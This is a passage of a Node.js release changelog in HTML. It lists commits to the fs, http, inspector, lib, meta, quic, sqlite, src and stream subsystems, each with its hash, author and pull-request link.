<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose frsize field in statfs (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/717476a24e"><code>717476a24e</code></a>] - <strong>http</strong>: emit 'drain' on OutgoingMessage only after buffers drain (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62936" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62936/hovercard">#62936</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden ClientRequest options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64f15c274a"><code>64f15c274a</code></a>] - <strong>http</strong>: fix leaked error listener on sync HTTP req create + destroy (Tim Perry) <a href="https://github.com/nodejs/node/pull/62872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62872/hovercard">#62872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c4798d799"><code>5c4798d799</code></a>] - <strong>http</strong>: fix no_proxy leading-dot suffix matching (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62333/hovercard">#62333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f3bc70ae5"><code>9f3bc70ae5</code></a>] - <strong>http</strong>: cleanup pipeline queue (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62534" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62534/hovercard">#62534</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add req.signal to IncomingMessage (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/900dc758ff"><code>900dc758ff</code></a>] - <strong>http2</strong>: expose writable stream state on compat response (T) <a href="https://github.com/nodejs/node/pull/63003" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63003/hovercard">#63003</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3bfe35912"><code>b3bfe35912</code></a>] - <strong>inspector</strong>: coerce key and value to string in webstorage events (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62616" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62616/hovercard">#62616</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dc3fb6ad8"><code>3dc3fb6ad8</code></a>] - <strong>inspector</strong>: return errors when CDP protocol event emission fails (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62162/hovercard">#62162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f3f21bd7c"><code>4f3f21bd7c</code></a>] - <strong>inspector</strong>: auto collect webstorage data (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62145/hovercard">#62145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36cc04189d"><code>36cc04189d</code></a>] - <strong>inspector</strong>: initial support storage inspection (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61139/hovercard">#61139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1718bc3b9b"><code>1718bc3b9b</code></a>] - <strong>inspector</strong>: fix absolute URLs in network http (bugyaluwang) <a href="https://github.com/nodejs/node/pull/62955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62955/hovercard">#62955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97e32c7a74"><code>97e32c7a74</code></a>] - <strong>lib</strong>: avoid quadratic shift() in startup snapshot callback (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62914" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62914/hovercard">#62914</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25d2e999de"><code>25d2e999de</code></a>] - <strong>lib</strong>: harden kKeyOps lookup with null prototype (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62877/hovercard">#62877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d3913c8f"><code>37d3913c8f</code></a>] - <strong>lib</strong>: short-circuit WebIDL BufferSource SAB check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62833/hovercard">#62833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/430c69d25f"><code>430c69d25f</code></a>] - <strong>lib</strong>: use js-only implementation of <code>isDataView()</code> (René) <a href="https://github.com/nodejs/node/pull/62780" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62780/hovercard">#62780</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba0add6a0"><code>3ba0add6a0</code></a>] - <strong>lib</strong>: fix lint in internal/webstreams/util.js (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62806/hovercard">#62806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b95c41398"><code>9b95c41398</code></a>] - <strong>lib</strong>: fix sequence argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/62179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62179/hovercard">#62179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314dacdbee"><code>314dacdbee</code></a>] - <strong>lib</strong>: improve Web Cryptography key validation ordering (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62749/hovercard">#62749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d18162430"><code>3d18162430</code></a>] - <strong>lib</strong>: reject SharedArrayBuffer in web APIs per spec (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62632/hovercard">#62632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ada3ce879d"><code>ada3ce879d</code></a>] - <strong>lib</strong>: defer AbortSignal.any() following (sangwook) <a href="https://github.com/nodejs/node/pull/62367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62367/hovercard">#62367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2981ec7eb"><code>b2981ec7eb</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 8.0.0 to 8.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62549" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62549/hovercard">#62549</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cd20667b5"><code>7cd20667b5</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.1 to 4.35.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63074/hovercard">#63074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91a07cfe9f"><code>91a07cfe9f</code></a>] - <strong>meta</strong>: bump Mozilla-Actions/sccache-action from 0.0.9 to 0.0.10 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63073/hovercard">#63073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09e17fe47c"><code>09e17fe47c</code></a>] - <strong>meta</strong>: add automation policy (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62871/hovercard">#62871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59e7fb7986"><code>59e7fb7986</code></a>] - <strong>meta</strong>: move VoltrexKeyva to emeritus (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62895/hovercard">#62895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e2915cfa6"><code>1e2915cfa6</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 8.1.0 to 8.1.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62845" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62845/hovercard">#62845</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0253c6e2be"><code>0253c6e2be</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.16.1 to 2.19.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62844" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62844/hovercard">#62844</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f503675b86"><code>f503675b86</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.3.0 to 6.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62842/hovercard">#62842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e14e4d26e"><code>5e14e4d26e</code></a>] - <strong>meta</strong>: broaden stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62658/hovercard">#62658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/795db76f87"><code>795db76f87</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef384fe39f"><code>ef384fe39f</code></a>] - <strong>meta</strong>: add QUIC to CODEOWNERS (Tim Perry) <a href="https://github.com/nodejs/node/pull/62652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62652/hovercard">#62652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67e0ac568d"><code>67e0ac568d</code></a>] - <strong>meta</strong>: move Michael to emeritus (Michael Dawson) <a href="https://github.com/nodejs/node/pull/62536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62536/hovercard">#62536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dad616393"><code>5dad616393</code></a>] - <strong>meta</strong>: populate apt list for slim runner in update-openssl workflow (René) <a href="https://github.com/nodejs/node/pull/62628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62628/hovercard">#62628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a869d25d8a"><code>a869d25d8a</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.15.0 to 2.16.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62550/hovercard">#62550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/769efc0403"><code>769efc0403</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62548/hovercard">#62548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73fcc2b055"><code>73fcc2b055</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.4 to 4.35.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62547/hovercard">#62547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c001246fe"><code>6c001246fe</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.2 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62545/hovercard">#62545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ee40d6a03"><code>5ee40d6a03</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.3 to 5.0.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62543/hovercard">#62543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca16ad8a05"><code>ca16ad8a05</code></a>] - <strong>meta</strong>: require DCO signoff in commit message guidelines (James M Snell) <a href="https://github.com/nodejs/node/pull/62510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62510/hovercard">#62510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db9497fc41"><code>db9497fc41</code></a>] - <strong>meta</strong>: expand memory leak DoS criteria to all DoS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62505/hovercard">#62505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13b7d08b8d"><code>13b7d08b8d</code></a>] - <strong>module</strong>: remove duplicated checks from <code>_resolveFilename</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62729/hovercard">#62729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b53efb53a"><code>6b53efb53a</code></a>] - <strong>module,win</strong>: fix long subpath import (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62101/hovercard">#62101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/841dfbf6fc"><code>841dfbf6fc</code></a>] - <strong>node-api</strong>: update libuv ABI stability note (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62789/hovercard">#62789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01090f2aa1"><code>01090f2aa1</code></a>] - <strong>node-api</strong>: add napi_create_external_sharedarraybuffer (Ben Noordhuis) <a href="https://github.com/nodejs/node/pull/62623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62623/hovercard">#62623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87443b4355"><code>87443b4355</code></a>] - <strong>node-api</strong>: execute tsfn finalizer after queue drains when aborted (Kevin Eady) <a href="https://github.com/nodejs/node/pull/61956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61956/hovercard">#61956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e95570c054"><code>e95570c054</code></a>] - <strong>process</strong>: handle rejections only when needed (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62919" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62919/hovercard">#62919</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d49f3219"><code>37d49f3219</code></a>] - <strong>process</strong>: optimize asyncHandledRejections by using FixedQueue (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60854/hovercard">#60854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f697c55e38"><code>f697c55e38</code></a>] - <strong>quic</strong>: add QuicEndpoint.listening &amp; QuicStream.destroy() and tests (Tim Perry) <a href="https://github.com/nodejs/node/pull/62648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62648/hovercard">#62648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c128942b69"><code>c128942b69</code></a>] - <strong>quic</strong>: fixup token verification to handle zero expiration (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abb881ec92"><code>abb881ec92</code></a>] - <strong>quic</strong>: support multiple ALPN negotiation (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/476926c2ad"><code>476926c2ad</code></a>] - <strong>quic</strong>: apply multiple TLS context improvements and SNI support (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76d9c24b95"><code>76d9c24b95</code></a>] - <strong>quic</strong>: implement rapidhash for hashing improvements (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08726cd43d"><code>08726cd43d</code></a>] - <strong>quic</strong>: move quic behind compile time flag (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61444" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61444/hovercard">#61444</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea4f19aaa7"><code>ea4f19aaa7</code></a>] - <strong>quic</strong>: use arena allocation for packets (James M Snell) <a href="https://github.com/nodejs/node/pull/62589" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62589/hovercard">#62589</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21e9239e2a"><code>21e9239e2a</code></a>] - <strong>quic</strong>: fixup linting/formatting issues (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/edeed4303b"><code>edeed4303b</code></a>] - <strong>quic</strong>: update http3 impl details (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f3a85e6aa"><code>7f3a85e6aa</code></a>] - <strong>quic</strong>: fix a handful of bugs and missing functionality (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45c1ebddf8"><code>45c1ebddf8</code></a>] - <strong>quic</strong>: copy options.certs buffer instead of detaching (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61403/hovercard">#61403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a31a8ee680"><code>a31a8ee680</code></a>] - <strong>quic</strong>: reduce boilerplate and other minor cleanups (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3be70ff43a"><code>3be70ff43a</code></a>] - <strong>quic</strong>: multiple fixups and updates (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b91a93444c"><code>b91a93444c</code></a>] - <strong>quic</strong>: update more of the quic to the new compile guard (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca0080c164"><code>ca0080c164</code></a>] - <strong>quic</strong>: few additional small comment edits in cid.h (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6553202d83"><code>6553202d83</code></a>] - <strong>quic</strong>: fixup NO_ERROR macro conflict on windows (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6df1508ac2"><code>6df1508ac2</code></a>] - <strong>quic</strong>: fixup windows coverage compile error (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2b0bf8b04"><code>b2b0bf8b04</code></a>] - <strong>quic</strong>: update the guard to check openssl version (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5556b154bd"><code>5556b154bd</code></a>] - <strong>quic</strong>: start re-enabling quic with openssl 3.5 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ca42c8263"><code>2ca42c8263</code></a>] - <strong>repl</strong>: keep reference count for <code>process.on('newListener')</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61895/hovercard">#61895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f37f9177f"><code>2f37f9177f</code></a>] - <strong>sqlite</strong>: use OneByte for ASCII text and internalize col names (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61954" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61954/hovercard">#61954</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c96ae1b2f"><code>3c96ae1b2f</code></a>] - <strong>sqlite</strong>: add serialize() and deserialize() (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62579" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62579/hovercard">#62579</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be4d2f3a4c"><code>be4d2f3a4c</code></a>] - <strong>sqlite</strong>: enable Percentile extension (Jurj Andrei George) <a href="https://github.com/nodejs/node/pull/61295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61295/hovercard">#61295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafed453b2"><code>dafed453b2</code></a>] - <strong>src</strong>: clean up experimental flag variables (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62759/hovercard">#62759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dca1e6aeea"><code>dca1e6aeea</code></a>] - <strong>src</strong>: expose help texts into node-config-schema.json (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28c4f44eb1"><code>28c4f44eb1</code></a>] - <strong>src</strong>: add permission support to config file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60746/hovercard">#60746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49175b220"><code>f49175b220</code></a>] - <strong>src</strong>: fix small compile warning in quic/streams.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/60118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60118/hovercard">#60118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9d4a446d8"><code>c9d4a446d8</code></a>] - <strong>src</strong>: cleanup quic TransportParams class (James M Snell) <a href="https://github.com/nodejs/node/pull/59884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59884/hovercard">#59884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99bb02fd9e"><code>99bb02fd9e</code></a>] - <strong>src</strong>: swap dotenv and config file parsing order (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63035/hovercard">#63035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecb4d49b7b"><code>ecb4d49b7b</code></a>] - <strong>src</strong>: add missing &lt;cstdlib&gt; for abort() declaration (Charles Kerr) <a href="https://github.com/nodejs/node/pull/63001" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63001/hovercard">#63001</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6219b6362"><code>b6219b6362</code></a>] - <strong>src</strong>: fix crash in GetErrorSource() for invalid using syntax (semimikoh) <a href="https://github.com/nodejs/node/pull/62770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62770/hovercard">#62770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5ca5ad4c5"><code>b5ca5ad4c5</code></a>] - <strong>src</strong>: simplify <code>TCPWrap::Connect</code> signature (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62929/hovercard">#62929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef7ffce7cf"><code>ef7ffce7cf</code></a>] - <strong>src</strong>: use DCHECK in AsyncWrap::MakeCallback instead emiting a warning (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62795/hovercard">#62795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd9890a5ab"><code>cd9890a5ab</code></a>] - <strong>src</strong>: fix MaybeStackBuffer char_traits deprecation warning (om-ghante) <a href="https://github.com/nodejs/node/pull/62507" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62507/hovercard">#62507</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c70ff44aee"><code>c70ff44aee</code></a>] - <strong>src</strong>: use context-free V8 message column getters (René) <a href="https://github.com/nodejs/node/pull/62778" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62778/hovercard">#62778</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c405f1d7"><code>06c405f1d7</code></a>] - <strong>src</strong>: coerce <code>spawnSync</code> args to string once (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62633/hovercard">#62633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6151999ad6"><code>6151999ad6</code></a>] - <strong>src</strong>: use stack allocation for small string encoding (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62431/hovercard">#62431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a71a4ac7a3"><code>a71a4ac7a3</code></a>] - <strong>src</strong>: add contextify interceptor debug logs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62460" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62460/hovercard">#62460</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad9a2909c2"><code>ad9a2909c2</code></a>] - <strong>src</strong>: workaround AIX libc++ std::filesystem bug (Richard Lau) <a href="https://github.com/nodejs/node/pull/62788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62788/hovercard">#62788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7792f1ae47"><code>7792f1ae47</code></a>] - <strong>stream</strong>: copyedit <code>webstreams/adapter.js</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63034/hovercard">#63034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1397d8ce5c"><code>1397d8ce5c</code></a>] - <strong>stream</strong>: remove duplicated utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63031/hovercard">#63031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff86b1d64f"><code>ff86b1d64f</code></a>] - <strong>stream</strong>: simplify <code>setPromiseHandled</code> utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63032/hovercard">#63032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24a078149a"><code>24a078149a</code></a>] - <strong>stream</strong>: validate ReadableStream.from iterator objects (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62911/hovercard">#62911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfb1fa9680"><code>cfb1fa9680</code></a>] - <strong>stream</strong>: reject duplicate nested transferables (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62831/hovercard">#62831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0c913758a"><code>d0c913758a</code></a>] - <strong>stream</strong>: ensuring cross-destruction in _duplexify to prevent leaks (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62824" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62824/hovercard">#62824</a></li>
